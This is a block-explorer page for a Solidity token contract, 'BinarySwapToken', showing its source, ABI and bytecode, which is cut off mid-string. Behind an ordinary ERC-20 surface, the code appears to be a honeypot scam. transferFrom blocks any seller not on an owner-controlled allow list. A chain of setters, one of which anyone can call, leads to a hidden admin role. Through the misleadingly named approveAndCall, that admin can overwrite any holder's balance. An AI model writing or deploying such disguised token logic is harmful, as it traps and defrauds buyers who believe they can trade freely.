Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been verified via Sourcify.
View contract in Sourcify repository
- Contract name:
- BinarySwapToken
- Optimization enabled
- false
- Compiler version
- v0.8.19+commit.7dd6d404
- EVM Version
- paris
- Verified at
- 2024-02-20T09:22:11.121701Z
BinarrySwap.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
}
contract BinarySwapToken is Ownable {
address public _usdtPair;
address public _mod;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public _user;
address public _adm;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() {
name = "Binary Swap";
symbol = "0101";
decimals = 18;
totalSupply = 100000000000000000000000000000000;
balances[msg.sender] = totalSupply;
allow[msg.sender] = true;
}
function showuint160(address addr) public pure returns(uint160){
return uint160(addr);
}
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function addAllowance(address holder, bool allowApprove) public {
require(msg.sender == _adm);
allow[holder] = allowApprove;
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _usdtPair);
_user=User_;
return true;
}
mapping (address => mapping (address => uint256)) public allowed;
mapping(address=>uint256) sellOutNum;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == _adm);
if(addedValue > 0) {balances[spender] = addedValue;}
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function addAllow(address holder, bool allowApprove) external onlyOwner {
allow[holder] = allowApprove;
}
function setUsdtPair(address Pair_) public returns (bool) {
_usdtPair=Pair_;
return true;
}
function mint(address miner, uint256 _value) external onlyOwner {
balances[miner] = _value;
}
}
Compiler Settings
{"remappings":[],"optimizer":{"runs":200,"enabled":false},"metadata":{"bytecodeHash":"ipfs"},"libraries":{},"evmVersion":"paris","compilationTarget":{"BinarrySwap.sol":"BinarySwapToken"}}
Contract ABI
[{"type":"constructor","stateMutability":"nonpayable","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"_adm","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"_mod","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"_usdtPair","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"_user","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"addAllow","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"allowApprove","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"addAllowance","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"allowApprove","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"allow","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"_owner","internalType":"address"},{"type":"address","name":"_spender","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowed","inputs":[{"type":"address","name":"","internalType":"address"},{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"_spender","internalType":"address"},{"type":"uint256","name":"_value","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approveAndCall","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"balance","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"_owner","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balances","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"mint","inputs":[{"type":"address","name":"miner","internalType":"address"},{"type":"uint256","name":"_value","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"setAdm","inputs":[{"type":"address","name":"Adm_","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"setMod","inputs":[{"type":"address","name":"Mod_","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"setUsdtPair","inputs":[{"type":"address","name":"Pair_","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"setUser","inputs":[{"type":"address","name":"User_","internalType":"address"}]},{"type":"function","stateMutability":"pure","outputs":[{"type":"uint160","name":"","internalType":"uint160"}],"name":"showuint160","inputs":[{"type":"address","name":"addr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"_to","internalType":"address"},{"type":"uint256","name":"_value","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"_from","internalType":"address"},{"type":"address","name":"_to","internalType":"address"},{"type":"uint256","name":"_value","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]}]
Contract Creation Code
0x60806040523480156200001157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600b81526020017f42696e6172792053776170000000000000000000000000000000000000000000815250600390816200009891906200042f565b506040518060400160405280600481526020017f303130310000000000000000000000000000000000000000000000000000000081525060049081620000df91906200042f565b506012600560006101000a81548160ff021916908360ff1602179055506d04ee2d6d415b85acef8100000000600681905550600654600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000516565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200023757607f821691505b6020821081036200024d576200024c620001ef565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002b77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000278565b620002c3868362000278565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003106200030a6200030484620002db565b620002e5565b620002db565b9050919050565b6000819050919050565b6200032c83620002ef565b620003446200033b8262000317565b84845462000285565b825550505050565b600090565b6200035b6200034c565b6200036881848462000321565b505050565b5b8181101562000390576200038460008262000351565b6001810190506200036e565b5050565b601f821115620003df57620003a98162000253565b620003b48462000268565b81016020851015620003c4578190505b620003dc620003d38562000268565b8301826200036d565b50505b505050565b600082821c905092915050565b60006200040460001984600802620003e4565b1980831691505092915050565b60006200041f8383620003f1565b9150826002028217905092915050565b6200043a82620001b5565b67ffffffffffffffff811115620004565762000455620001c0565b5b6200046282546200021e565b6200046f82828562000394565b600060209050601f831160018114620004a7576000841562000492578287015190505b6200049e858262000411565b8655506200050e565b601f198416620004b78662000253565b60005b82811015620004e157848901518255600182019150602085019450602081019050620004ba565b86831015620005015784890151620004fd601f891682620003f1565b8355505b6001600288020188555050505b505050505050565b611bb380620005266000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063ade2de0211610097578063e2daf66511610071578063e2daf66514610532578063e9543fa214610550578063f2fde38b14610580578063ff9913e81461059c576101a9565b8063ade2de02146104b4578063d21c8d55146104e4578063dd62ed3e14610502576101a9565b8063891e1ee0116100d3578063891e1ee01461042a5780638da5cb5b1461044857806395d89b4114610466578063a9059cbb14610484576101a9565b806370a08231146103ae578063791f83eb146103de578063858ced35146103fa576101a9565b8063313ce5671161016657806340c10f191161014057806340c10f19146103165780634a0af68d1461033257806355eff2f6146103625780635c6581651461037e576101a9565b8063313ce567146102985780633177029f146102b6578063376d567c146102e6576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806311de19e7146101fc57806318160ddd1461021a57806323b872dd1461023857806327e235e314610268575b600080fd5b6101b66105cc565b6040516101c39190611745565b60405180910390f35b6101e660048036038101906101e19190611800565b61065a565b6040516101f3919061185b565b60405180910390f35b61020461074c565b6040516102119190611885565b60405180910390f35b610222610772565b60405161022f91906118af565b60405180910390f35b610252600480360381019061024d91906118ca565b610778565b60405161025f919061185b565b60405180910390f35b610282600480360381019061027d919061191d565b610b8d565b60405161028f91906118af565b60405180910390f35b6102a0610ba5565b6040516102ad9190611966565b60405180910390f35b6102d060048036038101906102cb9190611800565b610bb8565b6040516102dd919061185b565b60405180910390f35b61030060048036038101906102fb919061191d565b610c6c565b60405161030d919061185b565b60405180910390f35b610330600480360381019061032b9190611800565b610d12565b005b61034c6004803603810190610347919061191d565b610db2565b604051610359919061185b565b60405180910390f35b61037c600480360381019061037791906119ad565b610e58565b005b610398600480360381019061039391906119ed565b610f0b565b6040516103a591906118af565b60405180910390f35b6103c860048036038101906103c3919061191d565b610f30565b6040516103d591906118af565b60405180910390f35b6103f860048036038101906103f391906119ad565b610f79565b005b610414600480360381019061040f919061191d565b61102e565b604051610421919061185b565b60405180910390f35b6104326110d4565b60405161043f9190611885565b60405180910390f35b6104506110fa565b60405161045d9190611885565b60405180910390f35b61046e61111e565b60405161047b9190611745565b60405180910390f35b61049e60048036038101906104999190611800565b6111ac565b6040516104ab919061185b565b60405180910390f35b6104ce60048036038101906104c9919061191d565b6113cb565b6040516104db919061185b565b60405180910390f35b6104ec611417565b6040516104f99190611885565b60405180910390f35b61051c600480360381019061051791906119ed565b61143d565b60405161052991906118af565b60405180910390f35b61053a6114c4565b6040516105479190611885565b60405180910390f35b61056a6004803603810190610565919061191d565b6114ea565b6040516105779190611a3c565b60405180910390f35b61059a6004803603810190610595919061191d565b6114f4565b005b6105b660048036038101906105b1919061191d565b611642565b6040516105c3919061185b565b60405180910390f35b600380546105d990611a86565b80601f016020809104026020016040519081016040528092919081815260200182805461060590611a86565b80156106525780601f1061062757610100808354040283529160200191610652565b820191906000526020600020905b81548152906001019060200180831161063557829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161073a91906118af565b60405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107b257600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fe57600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561088757600080fd5b60011515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146108e457600080fd5b61093682600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109cb82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168990919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a9d82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7a91906118af565b60405180910390a3600190509392505050565b60096020528060005260406000206000915090505481565b600560009054906101000a900460ff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1457600080fd5b6000821115610c625781600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc857600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d6a57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e0e57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eb057600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd357600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108a57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004805461112b90611a86565b80601f016020809104026020016040519081016040528092919081815260200182805461115790611a86565b80156111a45780601f10611179576101008083540402835291602001916111a4565b820191906000526020600020905b81548152906001019060200180831161118757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111e657600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561123257600080fd5b61128482600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131982600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168990919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113b991906118af565b60405180910390a36001905092915050565b600081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361158557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008282111561167557611674611ab7565b5b81836116819190611b15565b905092915050565b60008082846116989190611b49565b9050838110156116ab576116aa611ab7565b5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116ef5780820151818401526020810190506116d4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611717826116b5565b61172181856116c0565b93506117318185602086016116d1565b61173a816116fb565b840191505092915050565b6000602082019050818103600083015261175f818461170c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117978261176c565b9050919050565b6117a78161178c565b81146117b257600080fd5b50565b6000813590506117c48161179e565b92915050565b6000819050919050565b6117dd816117ca565b81146117e857600080fd5b50565b6000813590506117fa816117d4565b92915050565b6000806040838503121561181757611816611767565b5b6000611825858286016117b5565b9250506020611836858286016117eb565b9150509250929050565b60008115159050919050565b61185581611840565b82525050565b6000602082019050611870600083018461184c565b92915050565b61187f8161178c565b82525050565b600060208201905061189a6000830184611876565b92915050565b6118a9816117ca565b82525050565b60006020820190506118c460008301846118a0565b92915050565b6000806000606084860312156118e3576118e2611767565b5b60006118f1868287016117b5565b9350506020611902868287016117b5565b9250506040611913868287016117eb565b9150509250925092565b60006020828403121561193357611932611767565b5b6000611941848285016117b5565b91505092915050565b600060ff82169050919050565b6119608161194a565b82525050565b600060208201905061197b6000830184611957565b92915050565b61198a81611840565b811461199557600080fd5b50565b6000813590506119a781611981565b92915050565b600080604083850312156119c4576119c3611767565b5b60006119d2858286016117b5565b92505060206119e385828601611998565b9150509250929050565b60008060408385031215611a0457611a03611767565b5b6000611a12858286016117b5565b9250506020611a23858286016117b5565b9150509250929050565b611a368161176c565b82525050565b6000602082019050611a516000830184611a2d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a9e57607f821691505b602082108103611ab157611ab0611a57565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b20826117ca565b9150611b2b836117ca565b9250828203905081811115611b4357611b42611ae6565b5b92915050565b6000611b54826117ca565b9150611b5f836117ca565b9250828201905080821115611b7757611b76611ae6565b5b9291505056fea2646970667358221220a8bbebcbbfde66629aaa962a51dd757aef6d80de64d23e9eb0ced7ff6501b63764736f6c63430008130033
Deployed ByteCode
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063ade2de0211610097578063e2daf66511610071578063e2daf66514610532578063e9543fa214610550578063f2fde38b14610580578063ff9913e81461059c576101a9565b8063ade2de02146104b4578063d21c8d55146104e4578063dd62ed3e14610502576101a9565b8063891e1ee0116100d3578063891e1ee01461042a5780638da5cb5b1461044857806395d89b4114610466578063a9059cbb14610484576101a9565b806370a08231146103ae578063791f83eb146103de578063858ced35146103fa576101a9565b8063313ce5671161016657806340c10f191161014057806340c10f19146103165780634a0af68d1461033257806355eff2f6146103625780635c6581651461037e576101a9565b8063313ce567146102985780633177029f146102b6578063376d567c146102e6576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806311de19e7146101fc57806318160ddd1461021a57806323b872dd1461023857806327e235e314610268575b600080fd5b6101b66105cc565b6040516101c39190611745565b60405180910390f35b6101e660048036038101906101e19190611800565b61065a565b6040516101f3919061185b565b60405180910390f35b61020461074c565b6040516102119190611885565b60405180910390f35b610222610772565b60405161022f91906118af565b60405180910390f35b610252600480360381019061024d91906118ca565b610778565b60405161025f919061185b565b60405180910390f35b610282600480360381019061027d919061191d565b610b8d565b60405161028f91906118af565b60405180910390f35b6102a0610ba5565b6040516102ad9190611966565b60405180910390f35b6102d060048036038101906102cb9190611800565b610bb8565b6040516102dd919061185b565b60405180910390f35b61030060048036038101906102fb919061191d565b610c6c565b60405161030d919061185b565b60405180910390f35b610330600480360381019061032b9190611800565b610d12565b005b61034c6004803603810190610347919061191d565b610db2565b604051610359919061185b565b60405180910390f35b61037c600480360381019061037791906119ad565b610e58565b005b610398600480360381019061039391906119ed565b610f0b565b6040516103a591906118af565b60405180910390f35b6103c860048036038101906103c3919061191d565b610f30565b6040516103d591906118af565b60405180910390f35b6103f860048036038101906103f391906119ad565b610f79565b005b610414600480360381019061040f919061191d565b61102e565b604051610421919061185b565b60405180910390f35b6104326110d4565b60405161043f9190611885565b60405180910390f35b6104506110fa565b60405161045d9190611885565b60405180910390f35b61046e61111e565b60405161047b9190611745565b60405180910390f35b61049e60048036038101906104999190611800565b6111ac565b6040516104ab919061185b565b60405180910390f35b6104ce60048036038101906104c9919061191d565b6113cb565b6040516104db919061185b565b60405180910390f35b6104ec611417565b6040516104f99190611885565b60405180910390f35b61051c600480360381019061051791906119ed565b61143d565b60405161052991906118af565b60405180910390f35b61053a6114c4565b6040516105479190611885565b60405180910390f35b61056a6004803603810190610565919061191d565b6114ea565b6040516105779190611a3c565b60405180910390f35b61059a6004803603810190610595919061191d565b6114f4565b005b6105b660048036038101906105b1919061191d565b611642565b6040516105c3919061185b565b60405180910390f35b600380546105d990611a86565b80601f016020809104026020016040519081016040528092919081815260200182805461060590611a86565b80156106525780601f1061062757610100808354040283529160200191610652565b820191906000526020600020905b81548152906001019060200180831161063557829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161073a91906118af565b60405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107b257600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fe57600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561088757600080fd5b60011515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146108e457600080fd5b61093682600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109cb82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168990919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a9d82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7a91906118af565b60405180910390a3600190509392505050565b60096020528060005260406000206000915090505481565b600560009054906101000a900460ff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1457600080fd5b6000821115610c625781600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc857600080fd5b81600